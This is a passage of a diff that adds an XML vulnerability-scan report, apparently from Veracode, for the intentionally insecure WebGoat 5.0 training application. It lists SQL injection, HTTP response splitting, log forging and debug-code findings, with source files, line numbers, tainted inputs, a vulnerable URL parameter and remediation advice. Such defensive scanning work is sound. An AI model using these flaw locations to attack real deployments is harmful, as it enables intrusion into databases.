+        used in an SQL Command ('SQL Injection')\" count=\"1\" issueid=\"139\" module=\"WebGoat-5.0-with-jsp.war\"
+        type=\"java.sql.Statement.executeUpdate\" description=\"This database query
+        contains a SQL injection flaw. The call to java.sql.Statement.executeUpdate()
+        constructs a dynamic SQL query using a variable derived from user-supplied
+        input. An attacker could exploit this flaw to execute arbitrary SQL queries
+        against the database. The first argument to executeUpdate() contains tainted
+        data from the variable query. The tainted data originated from an earlier
+        call to javax.servlet.ServletRequest.getParameterValues.\r\n\r\nAvoid dynamically
+        constructing SQL queries. Instead, use parameterized prepared statements to
+        prevent the database from interpreting the contents of bind variables as part
+        of the query. Always validate user-supplied input to ensure that it conforms
+        to the expected format, using centralized data validation routines when possible.\r\n\r\nReferences:
+        \r\nCWE (http://cwe.mitre.org/data/definitions/89.html) \r\nOWASP (http://www.owasp.org/index.php/SQL_injection)
+        \r\nWASC (http://webappsec.pbworks.com/SQL-Injection)\r\n\r\n\" note=\"\"
+        cweid=\"89\" remediationeffort=\"3\" exploitLevel=\"2\" categoryid=\"19\"
+        pcirelated=\"true\" date_first_occurrence=\"2012-02-29 16:13:33 UTC\" remediation_status=\"New\"
+        cia_impact=\"ppp\" grace_period_expires=\"2012-03-01 14:26:18 UTC\" affects_policy_compliance=\"true\"
+        mitigation_status=\"none\" mitigation_status_desc=\"Not Mitigated\" sourcefile=\"UpdateProfile.java\"
+        line=\"340\" sourcefilepath=\"org/owasp/webgoat/lessons/CrossSiteScripting/\"
+        scope=\"org.owasp.webgoat.lessons.CrossSiteScripting.UpdateProfile\" functionprototype=\"void
+        createEmployeeProfile(session.WebSession, int, session.Employee)\" functionrelativelocation=\"85\">\n<exploitability_adjustments>\n<exploitability_adjustment
+        score_adjustment=\"1\">\n<note>This source of the tainted data is an external
+        web request.</note>\n</exploitability_adjustment>\n</exploitability_adjustments>\n</flaw>\n<flaw
+        severity=\"4\" categoryname=\"Improper Neutralization of Special Elements
+        used in an SQL Command ('SQL Injection')\" count=\"1\" issueid=\"258\" module=\"WebGoat-5.0-with-jsp.war\"
+        type=\"java.sql.Statement.executeQuery\" description=\"This database query
+        contains a SQL injection flaw. The call to java.sql.Statement.executeQuery()
+        constructs a dynamic SQL query using a variable derived from user-supplied
+        input. An attacker could exploit this flaw to execute arbitrary SQL queries
+        against the database. The first argument to executeQuery() contains tainted
+        data from the variable query. The tainted data originated from earlier calls
+        to javax.servlet.ServletRequest.getParameterValues, javax.servlet.ServletRequest.getParameter,
+        java.sql.Statement.executeQuery, and java.sql.PreparedStatement.executeQuery.\r\n\r\nAvoid
+        dynamically constructing SQL queries. Instead, use parameterized prepared
+        statements to prevent the database from interpreting the contents of bind
+        variables as part of the query. Always validate user-supplied input to ensure
+        that it conforms to the expected format, using centralized data validation
+        routines when possible.\r\n\r\nReferences: \r\nCWE (http://cwe.mitre.org/data/definitions/89.html)
+        \r\nOWASP (http://www.owasp.org/index.php/SQL_injection) \r\nWASC (http://webappsec.pbworks.com/SQL-Injection)\r\n\r\n\"
+        note=\"\" cweid=\"89\" remediationeffort=\"3\" exploitLevel=\"2\" categoryid=\"19\"
+        pcirelated=\"true\" date_first_occurrence=\"2012-02-29 16:13:33 UTC\" remediation_status=\"New\"
+        cia_impact=\"ppp\" grace_period_expires=\"2012-03-01 14:26:18 UTC\" affects_policy_compliance=\"true\"
+        mitigation_status=\"none\" mitigation_status_desc=\"Not Mitigated\" sourcefile=\"UpdateProfile_i.java\"
+        line=\"64\" sourcefilepath=\"org/owasp/webgoat/lessons/instructor/RoleBasedAccessControl/\"
+        scope=\"org.owasp.webgoat.lessons.instructor.RoleBasedAccessControl.UpdateProfile_i\"
+        functionprototype=\"void changeEmployeeProfile(session.WebSession, int, int,
+        session.Employee)\" functionrelativelocation=\"80\">\n<exploitability_adjustments>\n<exploitability_adjustment
+        score_adjustment=\"1\">\n<note>This source of the tainted data is an external
+        web request.</note>\n</exploitability_adjustment>\n</exploitability_adjustments>\n</flaw>\n<flaw
+        severity=\"4\" categoryname=\"Improper Neutralization of Special Elements
+        used in an SQL Command ('SQL Injection')\" count=\"1\" issueid=\"17\" module=\"WebGoat-5.0-with-jsp.war\"
+        type=\"java.sql.Statement.executeQuery\" description=\"This database query
+        contains a SQL injection flaw. The call to java.sql.Statement.executeQuery()
+        constructs a dynamic SQL query using a variable derived from user-supplied
+        input. An attacker could exploit this flaw to execute arbitrary SQL queries
+        against the database. The first argument to executeQuery() contains tainted
+        data from the variable sqlStatement. The tainted data originated from an earlier
+        call to javax.servlet.ServletRequest.getParameterValues.\r\n\r\nAvoid dynamically
+        constructing SQL queries. Instead, use parameterized prepared statements to
+        prevent the database from interpreting the contents of bind variables as part
+        of the query. Always validate user-supplied input to ensure that it conforms
+        to the expected format, using centralized data validation routines when possible.\r\n\r\nReferences:
+        \r\nCWE (http://cwe.mitre.org/data/definitions/89.html) \r\nOWASP (http://www.owasp.org/index.php/SQL_injection)
+        \r\nWASC (http://webappsec.pbworks.com/SQL-Injection)\r\n\r\n\" note=\"\"
+        cweid=\"89\" remediationeffort=\"3\" exploitLevel=\"2\" categoryid=\"19\"
+        pcirelated=\"true\" date_first_occurrence=\"2012-02-29 16:13:33 UTC\" remediation_status=\"New\"
+        cia_impact=\"ppp\" grace_period_expires=\"2012-03-01 14:26:18 UTC\" affects_policy_compliance=\"true\"
+        mitigation_status=\"none\" mitigation_status_desc=\"Not Mitigated\" sourcefile=\"ViewDatabase.java\"
+        line=\"89\" sourcefilepath=\"org/owasp/webgoat/lessons/admin/\" scope=\"org.owasp.webgoat.lessons.admin.ViewDatabase\"
+        functionprototype=\"apache.ecs.Element createContent(session.WebSession)\"
+        functionrelativelocation=\"60\">\n<exploitability_adjustments>\n<exploitability_adjustment
+        score_adjustment=\"1\">\n<note>This source of the tainted data is an external
+        web request.</note>\n</exploitability_adjustment>\n</exploitability_adjustments>\n</flaw>\n<flaw
+        severity=\"4\" categoryname=\"Improper Neutralization of Special Elements
+        used in an SQL Command ('SQL Injection')\" count=\"1\" issueid=\"12\" module=\"WebGoat-5.0-with-jsp.war\"
+        type=\"java.sql.Statement.executeQuery\" description=\"This database query
+        contains a SQL injection flaw. The call to java.sql.Statement.executeQuery()
+        constructs a dynamic SQL query using a variable derived from user-supplied
+        input. An attacker could exploit this flaw to execute arbitrary SQL queries
+        against the database. The first argument to executeQuery() contains tainted
+        data from the variable query. The tainted data originated from an earlier
+        call to javax.servlet.ServletRequest.getParameterValues.\r\n\r\nAvoid dynamically
+        constructing SQL queries. Instead, use parameterized prepared statements to
+        prevent the database from interpreting the contents of bind variables as part
+        of the query. Always validate user-supplied input to ensure that it conforms
+        to the expected format, using centralized data validation routines when possible.\r\n\r\nReferences:
+        \r\nCWE (http://cwe.mitre.org/data/definitions/89.html) \r\nOWASP (http://www.owasp.org/index.php/SQL_injection)
+        \r\nWASC (http://webappsec.pbworks.com/SQL-Injection)\r\n\r\n\" note=\"\"
+        cweid=\"89\" remediationeffort=\"3\" exploitLevel=\"2\" categoryid=\"19\"
+        pcirelated=\"true\" date_first_occurrence=\"2012-02-29 16:13:33 UTC\" remediation_status=\"New\"
+        cia_impact=\"ppp\" grace_period_expires=\"2012-03-01 14:26:18 UTC\" affects_policy_compliance=\"true\"
+        mitigation_status=\"none\" mitigation_status_desc=\"Not Mitigated\" sourcefile=\"ViewProfile.java\"
+        line=\"118\" sourcefilepath=\"org/owasp/webgoat/lessons/SQLInjection/\" scope=\"org.owasp.webgoat.lessons.SQLInjection.ViewProfile\"
+        functionprototype=\"session.Employee getEmployeeProfile(session.WebSession,
+        java.lang.String, java.lang.String)\" functionrelativelocation=\"20\">\n<exploitability_adjustments>\n<exploitability_adjustment
+        score_adjustment=\"1\">\n<note>This source of the tainted data is an external
+        web request.</note>\n</exploitability_adjustment>\n</exploitability_adjustments>\n</flaw>\n<flaw
+        severity=\"4\" categoryname=\"Improper Neutralization of Special Elements
+        used in an SQL Command ('SQL Injection')\" count=\"1\" issueid=\"197\" module=\"WebGoat-5.0-with-jsp.war\"
+        type=\"java.sql.Statement.executeQuery\" description=\"This database query
+        contains a SQL injection flaw. The call to java.sql.Statement.executeQuery()
+        constructs a dynamic SQL query using a variable derived from user-supplied
+        input. An attacker could exploit this flaw to execute arbitrary SQL queries
+        against the database. The first argument to executeQuery() contains tainted
+        data from the variable query. The tainted data originated from an earlier
+        call to javax.servlet.ServletRequest.getParameterValues.\r\n\r\nAvoid dynamically
+        constructing SQL queries. Instead, use parameterized prepared statements to
+        prevent the database from interpreting the contents of bind variables as part
+        of the query. Always validate user-supplied input to ensure that it conforms
+        to the expected format, using centralized data validation routines when possible.\r\n\r\nReferences:
+        \r\nCWE (http://cwe.mitre.org/data/definitions/89.html) \r\nOWASP (http://www.owasp.org/index.php/SQL_injection)
+        \r\nWASC (http://webappsec.pbworks.com/SQL-Injection)\r\n\r\n\" note=\"\"
+        cweid=\"89\" remediationeffort=\"3\" exploitLevel=\"2\" categoryid=\"19\"
+        pcirelated=\"true\" date_first_occurrence=\"2012-02-29 16:13:33 UTC\" remediation_status=\"New\"
+        cia_impact=\"ppp\" grace_period_expires=\"2012-03-01 14:26:18 UTC\" affects_policy_compliance=\"true\"
+        mitigation_status=\"none\" mitigation_status_desc=\"Not Mitigated\" sourcefile=\"ViewProfile.java\"
+        line=\"178\" sourcefilepath=\"org/owasp/webgoat/lessons/SQLInjection/\" scope=\"org.owasp.webgoat.lessons.SQLInjection.ViewProfile\"
+        functionprototype=\"session.Employee getEmployeeProfile_BACKUP(session.WebSession,
+        java.lang.String, java.lang.String)\" functionrelativelocation=\"20\">\n<exploitability_adjustments>\n<exploitability_adjustment
+        score_adjustment=\"1\">\n<note>This source of the tainted data is an external
+        web request.</note>\n</exploitability_adjustment>\n</exploitability_adjustments>\n</flaw>\n<flaw
+        severity=\"4\" categoryname=\"Improper Neutralization of Special Elements
+        used in an SQL Command ('SQL Injection')\" count=\"1\" issueid=\"166\" module=\"WebGoat-5.0-with-jsp.war\"
+        type=\"java.sql.Statement.executeQuery\" description=\"This database query
+        contains a SQL injection flaw. The call to java.sql.Statement.executeQuery()
+        constructs a dynamic SQL query using a variable derived from user-supplied
+        input. An attacker could exploit this flaw to execute arbitrary SQL queries
+        against the database. The first argument to executeQuery() contains tainted
+        data from the variable query. The tainted data originated from an earlier
+        call to javax.servlet.ServletRequest.getParameterValues.\r\n\r\nAvoid dynamically
+        constructing SQL queries. Instead, use parameterized prepared statements to
+        prevent the database from interpreting the contents of bind variables as part
+        of the query. Always validate user-supplied input to ensure that it conforms
+        to the expected format, using centralized data validation routines when possible.\r\n\r\nReferences:
+        \r\nCWE (http://cwe.mitre.org/data/definitions/89.html) \r\nOWASP (http://www.owasp.org/index.php/SQL_injection)
+        \r\nWASC (http://webappsec.pbworks.com/SQL-Injection)\r\n\r\n\" note=\"\"
+        cweid=\"89\" remediationeffort=\"3\" exploitLevel=\"2\" categoryid=\"19\"
+        pcirelated=\"true\" date_first_occurrence=\"2012-02-29 16:13:33 UTC\" remediation_status=\"New\"
+        cia_impact=\"ppp\" grace_period_expires=\"2012-03-01 14:26:18 UTC\" affects_policy_compliance=\"true\"
+        mitigation_status=\"none\" mitigation_status_desc=\"Not Mitigated\" sourcefile=\"WsSqlInjection.java\"
+        line=\"240\" sourcefilepath=\"org/owasp/webgoat/lessons/\" scope=\"org.owasp.webgoat.lessons.WsSqlInjection\"
+        functionprototype=\"java.sql.ResultSet getResults(java.lang.String)\" functionrelativelocation=\"80\">\n<exploitability_adjustments>\n<exploitability_adjustment
+        score_adjustment=\"1\">\n<note>This source of the tainted data is an external
+        web request.</note>\n</exploitability_adjustment>\n</exploitability_adjustments>\n</flaw>\n</staticflaws>\n<dynamicflaws>\n<flaw
+        severity=\"4\" categoryname=\"Improper Neutralization of Special Elements
+        used in an SQL Command ('SQL Injection')\" count=\"1\" issueid=\"275\" module=\"dynamic_analysis\"
+        type=\"Improper Neutralization of Special Elements used in an SQL Command
+        ('SQL Injection')\" description=\"This database query contains a SQL injection
+        flaw. The function call constructs a dynamic SQL query using a variable derived
+        from user-supplied input. An attacker could exploit this flaw to execute arbitrary
+        SQL queries against the database.\r\n\r\nAvoid dynamically constructing SQL
+        queries. Instead, use parameterized prepared statements to prevent the database
+        from interpreting the contents of bind variables as part of the query. Always
+        validate user-supplied input to ensure that it conforms to the expected format,
+        using centralized data validation routines when possible.\r\n\r\n\r\nCWE (http://cwe.mitre.org/cgi-bin/jumpmenu.cgi?id=89)
+        \r\nOWASP (http://www.owasp.org/index.php/SQL_injection) \r\nWASC (http://webappsec.pbworks.com/SQL-Injection)\r\n\r\n\"
+        note=\"\" cweid=\"89\" remediationeffort=\"3\" categoryid=\"19\" pcirelated=\"true\"
+        date_first_occurrence=\"2012-02-29 16:13:33 UTC\" remediation_status=\"New\"
+        cia_impact=\"ppp\" grace_period_expires=\"2012-03-01 15:03:50 UTC\" affects_policy_compliance=\"true\"
+        mitigation_status=\"none\" mitigation_status_desc=\"Not Mitigated\" url=\"http://10.0.4.89:8080/WebGoat/attack\"
+        vuln_parameter=\"id\"/>\n</dynamicflaws>\n</cwe>\n</category>\n</severity>\n<severity
+        level=\"3\">\n<category categoryid=\"21\" categoryname=\"CRLF Injection\"
+        pcirelated=\"false\">\n<desc>\n<para text=\"The acronym CRLF stands for &quot;Carriage
+        Return, Line Feed&quot; and refers to the sequence of characters used to denote
+        the end of a line of text.  CRLF injection vulnerabilities occur when data
+        enters an application from an untrusted source and is not properly validated
+        before being used.  For example, if an attacker is able to inject a CRLF into
+        a log file, he could append falsified log entries, thereby misleading administrators
+        or cover traces of the attack.  If an attacker is able to inject CRLFs into
+        an HTTP response header, he can use this ability to carry out other attacks
+        such as cache poisoning.  CRLF vulnerabilities primarily affect data integrity.
+        \ \"/>\n</desc>\n<recommendations>\n<para text=\"Apply robust input filtering
+        for all user-supplied data, using centralized data validation routines when
+        possible.  Use output filters to sanitize all output derived from user-supplied
+        input, replacing non-alphanumeric characters with their HTML entity equivalents.\"/>\n</recommendations>\n<cwe
+        cweid=\"113\" cwename=\"Improper Neutralization of CRLF Sequences in HTTP
+        Headers ('HTTP Response Splitting')\" pcirelated=\"false\">\n<description>\n<text
+        text=\"A function call contains an HTTP response splitting flaw.  Writing
+        unsanitized user-supplied input into an HTTP header allows an attacker to
+        manipulate the HTTP response rendered by the browser, leading to cache poisoning
+        and cross-site scripting attacks.\"/>\n</description>\n<staticflaws>\n<flaw
+        severity=\"3\" categoryname=\"Improper Neutralization of CRLF Sequences in
+        HTTP Headers ('HTTP Response Splitting')\" count=\"1\" issueid=\"10\" module=\"WebGoat-5.0-with-jsp.war\"
+        type=\"javax.servlet.http.HttpServletResponse.sendRedirect\" description=\"This
+        call to javax.servlet.http.HttpServletResponse.sendRedirect() contains an
+        HTTP response splitting flaw. Writing unsanitized user-supplied input into
+        an HTTP header allows an attacker to manipulate the HTTP response rendered
+        by the browser, to inject additional headers or an entire response body into
+        the response stream. Injecting headers can be used to trick various security
+        mechanisms in browsers into allowing XSS style attacks. Injecting entire response
+        bodies can not only cause XSS attacks to succeed but may even poison the cache
+        of any intermediary proxies between the clients and the application server.
+        The first argument to sendRedirect() contains tainted data from the variable
+        request.getParameter(). The tainted data originated from an earlier call to
+        javax.servlet.ServletRequest.getParameter.\r\n\r\nEscape, encode, or remove
+        carriage return and line feed characters from user-supplied data before inclusion
+        in HTTP response headers. Whenever possible, use a security library such as
+        ESAPI that provides safe versions of addHeader(), etc. that will automatically
+        remove unexpected carriage returns and line feeds and can be configured to
+        use HTML entity encoding for non-alphanumeric data. Only write custom blacklisting
+        code when absolutely necessary. Always validate user-supplied input to ensure
+        that it conforms to the expected format, using centralized data validation
+        routines when possible.\r\n\r\nReferences: \r\nCWE (http://cwe.mitre.org/data/definitions/113.html)
+        \r\nOWASP (http://www.owasp.org/index.php/HTTP_Response_Splitting) \r\nWASC
+        (http://webappsec.pbworks.com/HTTP-Response-Splitting)\r\n\r\n\" note=\"\"
+        cweid=\"113\" remediationeffort=\"2\" exploitLevel=\"1\" categoryid=\"21\"
+        pcirelated=\"false\" date_first_occurrence=\"2012-02-29 16:13:33 UTC\" remediation_status=\"New\"
+        cia_impact=\"ppn\" grace_period_expires=\"\" affects_policy_compliance=\"false\"
+        mitigation_status=\"none\" mitigation_status_desc=\"Not Mitigated\" sourcefile=\"config_jsp.java\"
+        line=\"43\" sourcefilepath=\"com/veracode/compiledjsp/xWebGoat50war/lessons/ConfManagement/\"
+        scope=\"com.veracode.compiledjsp.xWebGoat50war.lessons.ConfManagement.config_jsp\"
+        functionprototype=\"void _jspService(javax.servlet.http.HttpServletRequest,
+        javax.servlet.http.HttpServletResponse)\" functionrelativelocation=\"60\"/>\n<flaw
+        severity=\"3\" categoryname=\"Improper Neutralization of CRLF Sequences in
+        HTTP Headers ('HTTP Response Splitting')\" count=\"1\" issueid=\"78\" module=\"WebGoat-5.0-with-jsp.war\"
+        type=\"javax.servlet.http.HttpServletResponse.setHeader\" description=\"This
+        call to javax.servlet.http.HttpServletResponse.setHeader() contains an HTTP
+        response splitting flaw. Writing unsanitized user-supplied input into an HTTP
+        header allows an attacker to manipulate the HTTP response rendered by the
+        browser, to inject additional headers or an entire response body into the
+        response stream. Injecting headers can be used to trick various security mechanisms
+        in browsers into allowing XSS style attacks. Injecting entire response bodies
+        can not only cause XSS attacks to succeed but may even poison the cache of
+        any intermediary proxies between the clients and the application server. The
+        second argument to setHeader() contains tainted data from the variable cookie.
+        The tainted data originated from an earlier call to javax.servlet.http.HttpServletRequest.getCookies.\r\n\r\nEscape,
+        encode, or remove carriage return and line feed characters from user-supplied
+        data before inclusion in HTTP response headers. Whenever possible, use a security
+        library such as ESAPI that provides safe versions of addHeader(), etc. that
+        will automatically remove unexpected carriage returns and line feeds and can
+        be configured to use HTML entity encoding for non-alphanumeric data. Only
+        write custom blacklisting code when absolutely necessary. Always validate
+        user-supplied input to ensure that it conforms to the expected format, using
+        centralized data validation routines when possible.\r\n\r\nReferences: \r\nCWE
+        (http://cwe.mitre.org/data/definitions/113.html) \r\nOWASP (http://www.owasp.org/index.php/HTTP_Response_Splitting)
+        \r\nWASC (http://webappsec.pbworks.com/HTTP-Response-Splitting)\r\n\r\n\"
+        note=\"\" cweid=\"113\" remediationeffort=\"2\" exploitLevel=\"1\" categoryid=\"21\"
+        pcirelated=\"false\" date_first_occurrence=\"2012-02-29 16:13:33 UTC\" remediation_status=\"New\"
+        cia_impact=\"ppn\" grace_period_expires=\"\" affects_policy_compliance=\"false\"
+        mitigation_status=\"none\" mitigation_status_desc=\"Not Mitigated\" sourcefile=\"HttpOnly.java\"
+        line=\"198\" sourcefilepath=\"org/owasp/webgoat/lessons/\" scope=\"org.owasp.webgoat.lessons.HttpOnly\"
+        functionprototype=\"void setHttpOnly(session.WebSession)\" functionrelativelocation=\"89\"/>\n<flaw
+        severity=\"3\" categoryname=\"Improper Neutralization of CRLF Sequences in
+        HTTP Headers ('HTTP Response Splitting')\" count=\"1\" issueid=\"204\" module=\"WebGoat-5.0-with-jsp.war\"
+        type=\"javax.servlet.http.HttpServletResponse.setHeader\" description=\"This
+        call to javax.servlet.http.HttpServletResponse.setHeader() contains an HTTP
+        response splitting flaw. Writing unsanitized user-supplied input into an HTTP
+        header allows an attacker to manipulate the HTTP response rendered by the
+        browser, to inject additional headers or an entire response body into the
+        response stream. Injecting headers can be used to trick various security mechanisms
+        in browsers into allowing XSS style attacks. Injecting entire response bodies
+        can not only cause XSS attacks to succeed but may even poison the cache of
+        any intermediary proxies between the clients and the application server. The
+        second argument to setHeader() contains tainted data from the variable cookie.
+        The tainted data originated from an earlier call to javax.servlet.http.HttpServletRequest.getCookies.\r\n\r\nEscape,
+        encode, or remove carriage return and line feed characters from user-supplied
+        data before inclusion in HTTP response headers. Whenever possible, use a security
+        library such as ESAPI that provides safe versions of addHeader(), etc. that
+        will automatically remove unexpected carriage returns and line feeds and can
+        be configured to use HTML entity encoding for non-alphanumeric data. Only
+        write custom blacklisting code when absolutely necessary. Always validate
+        user-supplied input to ensure that it conforms to the expected format, using
+        centralized data validation routines when possible.\r\n\r\nReferences: \r\nCWE
+        (http://cwe.mitre.org/data/definitions/113.html) \r\nOWASP (http://www.owasp.org/index.php/HTTP_Response_Splitting)
+        \r\nWASC (http://webappsec.pbworks.com/HTTP-Response-Splitting)\r\n\r\n\"
+        note=\"\" cweid=\"113\" remediationeffort=\"2\" exploitLevel=\"1\" categoryid=\"21\"
+        pcirelated=\"false\" date_first_occurrence=\"2012-02-29 16:13:33 UTC\" remediation_status=\"New\"
+        cia_impact=\"ppn\" grace_period_expires=\"\" affects_policy_compliance=\"false\"
+        mitigation_status=\"none\" mitigation_status_desc=\"Not Mitigated\" sourcefile=\"HttpOnly.java\"
+        line=\"212\" sourcefilepath=\"org/owasp/webgoat/lessons/\" scope=\"org.owasp.webgoat.lessons.HttpOnly\"
+        functionprototype=\"void removeHttpOnly(session.WebSession)\" functionrelativelocation=\"89\"/>\n<flaw
+        severity=\"3\" categoryname=\"Improper Neutralization of CRLF Sequences in
+        HTTP Headers ('HTTP Response Splitting')\" count=\"1\" issueid=\"92\" module=\"WebGoat-5.0-with-jsp.war\"
+        type=\"javax.servlet.http.HttpServletResponse.sendRedirect\" description=\"This
+        call to javax.servlet.http.HttpServletResponse.sendRedirect() contains an
+        HTTP response splitting flaw. Writing unsanitized user-supplied input into
+        an HTTP header allows an attacker to manipulate the HTTP response rendered
+        by the browser, to inject additional headers or an entire response body into
+        the response stream. Injecting headers can be used to trick various security
+        mechanisms in browsers into allowing XSS style attacks. Injecting entire response
+        bodies can not only cause XSS attacks to succeed but may even poison the cache
+        of any intermediary proxies between the clients and the application server.
+        The first argument to sendRedirect() contains tainted data from the variable
+        request.getParameter(). The tainted data originated from an earlier call to
+        javax.servlet.ServletRequest.getParameter.\r\n\r\nEscape, encode, or remove
+        carriage return and line feed characters from user-supplied data before inclusion
+        in HTTP response headers. Whenever possible, use a security library such as
+        ESAPI that provides safe versions of addHeader(), etc. that will automatically
+        remove unexpected carriage returns and line feeds and can be configured to
+        use HTML entity encoding for non-alphanumeric data. Only write custom blacklisting
+        code when absolutely necessary. Always validate user-supplied input to ensure
+        that it conforms to the expected format, using centralized data validation
+        routines when possible.\r\n\r\nReferences: \r\nCWE (http://cwe.mitre.org/data/definitions/113.html)
+        \r\nOWASP (http://www.owasp.org/index.php/HTTP_Response_Splitting) \r\nWASC
+        (http://webappsec.pbworks.com/HTTP-Response-Splitting)\r\n\r\n\" note=\"\"
+        cweid=\"113\" remediationeffort=\"2\" exploitLevel=\"1\" categoryid=\"21\"
+        pcirelated=\"false\" date_first_occurrence=\"2012-02-29 16:13:33 UTC\" remediation_status=\"New\"
+        cia_impact=\"ppn\" grace_period_expires=\"\" affects_policy_compliance=\"false\"
+        mitigation_status=\"none\" mitigation_status_desc=\"Not Mitigated\" sourcefile=\"redirect_jsp.java\"
+        line=\"43\" sourcefilepath=\"com/veracode/compiledjsp/xWebGoat50war/lessons/General/\"
+        scope=\"com.veracode.compiledjsp.xWebGoat50war.lessons.General.redirect_jsp\"
+        functionprototype=\"void _jspService(javax.servlet.http.HttpServletRequest,
+        javax.servlet.http.HttpServletResponse)\" functionrelativelocation=\"62\"/>\n<flaw
+        severity=\"3\" categoryname=\"Improper Neutralization of CRLF Sequences in
+        HTTP Headers ('HTTP Response Splitting')\" count=\"1\" issueid=\"170\" module=\"WebGoat-5.0-with-jsp.war\"
+        type=\"javax.servlet.http.HttpServletResponse.addCookie\" description=\"This
+        call to javax.servlet.http.HttpServletResponse.addCookie() contains an HTTP
+        response splitting flaw. Writing unsanitized user-supplied input into an HTTP
+        header allows an attacker to manipulate the HTTP response rendered by the
+        browser, to inject additional headers or an entire response body into the
+        response stream. Injecting headers can be used to trick various security mechanisms
+        in browsers into allowing XSS style attacks. Injecting entire response bodies
+        can not only cause XSS attacks to succeed but may even poison the cache of
+        any intermediary proxies between the clients and the application server. The
+        first argument to addCookie() contains tainted data from the variable cookies.
+        The tainted data originated from an earlier call to javax.servlet.http.HttpServletRequest.getCookies.\r\n\r\nEscape,
+        encode, or remove carriage return and line feed characters from user-supplied
+        data before inclusion in HTTP response headers. Whenever possible, use a security
+        library such as ESAPI that provides safe versions of addHeader(), etc. that
+        will automatically remove unexpected carriage returns and line feeds and can
+        be configured to use HTML entity encoding for non-alphanumeric data. Only
+        write custom blacklisting code when absolutely necessary. Always validate
+        user-supplied input to ensure that it conforms to the expected format, using
+        centralized data validation routines when possible.\r\n\r\nReferences: \r\nCWE
+        (http://cwe.mitre.org/data/definitions/113.html) \r\nOWASP (http://www.owasp.org/index.php/HTTP_Response_Splitting)
+        \r\nWASC (http://webappsec.pbworks.com/HTTP-Response-Splitting)\r\n\r\n\"
+        note=\"\" cweid=\"113\" remediationeffort=\"2\" exploitLevel=\"1\" categoryid=\"21\"
+        pcirelated=\"false\" date_first_occurrence=\"2012-02-29 16:13:33 UTC\" remediation_status=\"New\"
+        cia_impact=\"ppn\" grace_period_expires=\"\" affects_policy_compliance=\"false\"
+        mitigation_status=\"none\" mitigation_status_desc=\"Not Mitigated\" sourcefile=\"WebSession.java\"
+        line=\"335\" sourcefilepath=\"org/owasp/webgoat/session/\" scope=\"org.owasp.webgoat.session.WebSession\"
+        functionprototype=\"void eatCookies()\" functionrelativelocation=\"79\"/>\n</staticflaws>\n</cwe>\n<cwe
+        cweid=\"117\" cwename=\"Improper Output Neutralization for Logs\" pcirelated=\"false\"
+        owasp=\"929\">\n<description>\n<text text=\"A function call could result in
+        a log forging attack.  Writing unsanitized user-supplied data into a log file
+        allows an attacker to forge log entries or inject malicious content into log
+        files.  Corrupted log files can be used to cover an attacker's tracks or as
+        a delivery mechanism for an attack on a log viewing or processing utility.
+        \ For example, if a web administrator uses a browser-based utility to review
+        logs, a cross-site scripting attack might be possible.\"/>\n</description>\n<staticflaws>\n<flaw
+        severity=\"3\" categoryname=\"Improper Output Neutralization for Logs\" count=\"1\"
+        issueid=\"214\" module=\"WebGoat-5.0-with-jsp.war\" type=\"javax.servlet.GenericServlet.log\"
+        description=\"This call to javax.servlet.GenericServlet.log() could result
+        in a log forging attack. Writing unsanitized user-supplied data into a log
+        file allows an attacker to forge log entries or inject malicious content into
+        log files. Corrupted log files can be used to cover an attacker's tracks or
+        as a delivery mechanism for an attack on a log viewing or processing utility.
+        For example, if a web administrator uses a browser-based utility to review
+        logs, a cross-site scripting attack might be possible. The first argument
+        to log() contains tainted data from the variable output. The tainted data
+        originated from an earlier call to javax.servlet.ServletRequest.getParameterValues.\r\n\r\nAvoid
+        directly embedding user input in log files when possible. Sanitize user-supplied
+        data used to construct log entries by using a safe logging mechanism such
+        as the OWASP ESAPI Logger, which will automatically remove unexpected carriage
+        returns and line feeds and can be configured to use HTML entity encoding for
+        non-alphanumeric data. Only write custom blacklisting code when absolutely
+        necessary. Always validate user-supplied input to ensure that it conforms
+        to the expected format, using centralized data validation routines when possible.\r\n\r\nReferences:
+        \r\nCWE (http://cwe.mitre.org/data/definitions/117.html) \r\nOWASP (http://www.owasp.org/index.php/Log_injection)
+        \r\nWASC (http://webappsec.pbworks.com/Improper-Output-Handling)\r\n\r\n\"
+        note=\"\" cweid=\"117\" remediationeffort=\"2\" exploitLevel=\"1\" categoryid=\"21\"
+        pcirelated=\"true\" date_first_occurrence=\"2012-02-29 16:13:33 UTC\" remediation_status=\"New\"
+        cia_impact=\"npp\" grace_period_expires=\"2012-03-01 14:26:18 UTC\" affects_policy_compliance=\"true\"
+        mitigation_status=\"none\" mitigation_status_desc=\"Not Mitigated\" sourcefile=\"HammerHead.java\"
+        line=\"306\" sourcefilepath=\"org/owasp/webgoat/\" scope=\"org.owasp.webgoat.HammerHead\"
+        functionprototype=\"void log(javax.servlet.http.HttpServletRequest, java.lang.String)\"
+        functionrelativelocation=\"84\"/>\n</staticflaws>\n</cwe>\n</category>\n<category
+        categoryid=\"17\" categoryname=\"Code Quality\" pcirelated=\"false\">\n<desc>\n<para
+        text=\"Code quality issues stem from failure to follow good coding practices
+        and can lead to unpredictable behavior. These may include but are not limited
+        to:\">\n<bulletitem text=\"Neglecting to remove debug code or dead code\"/>\n<bulletitem
+        text=\"Improper resource management, such as using a pointer after it has
+        been freed\"/>\n<bulletitem text=\"Using the incorrect operator to compare
+        objects\"/>\n<bulletitem text=\"Failing to follow an API or framework specification\"/>\n<bulletitem
+        text=\"Using a language feature or API in an unintended manner\"/>\n</para>\n<para
+        text=\"While code quality flaws are generally less severe than other categories
+        and usually are not directly exploitable, they may serve as indicators that
+        developers are not following practices that increase the reliability and security
+        of an application.  For an attacker, code quality issues may provide an opportunity
+        to stress the application in unexpected ways.\"/>\n</desc>\n<recommendations>\n<para
+        text=\"The wide variance of code quality issues makes it impractical to generalize
+        how these issues should be addressed.  Refer to individual categories for
+        specific recommendations. \"/>\n</recommendations>\n<cwe cweid=\"489\" cwename=\"Leftover
+        Debug Code\" pcirelated=\"false\">\n<description>\n<text text=\"A method may
+        be leftover debug code that creates an unintended entry point in a web application.
+        \ Although this is an acceptable practice during product development, classes
+        that are part of a production J2EE application should not define a main()
+        method.  Whether this method can be remotely invoked depends on the configuration
+        of the J2EE container and the application itself.\"/>\n</description>\n<staticflaws>\n<flaw
+        severity=\"3\" categoryname=\"Leftover Debug Code\" count=\"1\" issueid=\"70\"
+        module=\"WebGoat-5.0-with-jsp.war\" type=\"main\" description=\"The main()
+        method may be leftover debug code that creates an unintended entry point in
+        a web application. Although this is an acceptable practice during product
+        development, classes that are part of a production J2EE application should
+        not define a main() method. Whether this method can be remotely invoked depends
+        on the configuration of the J2EE container and the application itself.\r\n\r\nEliminate
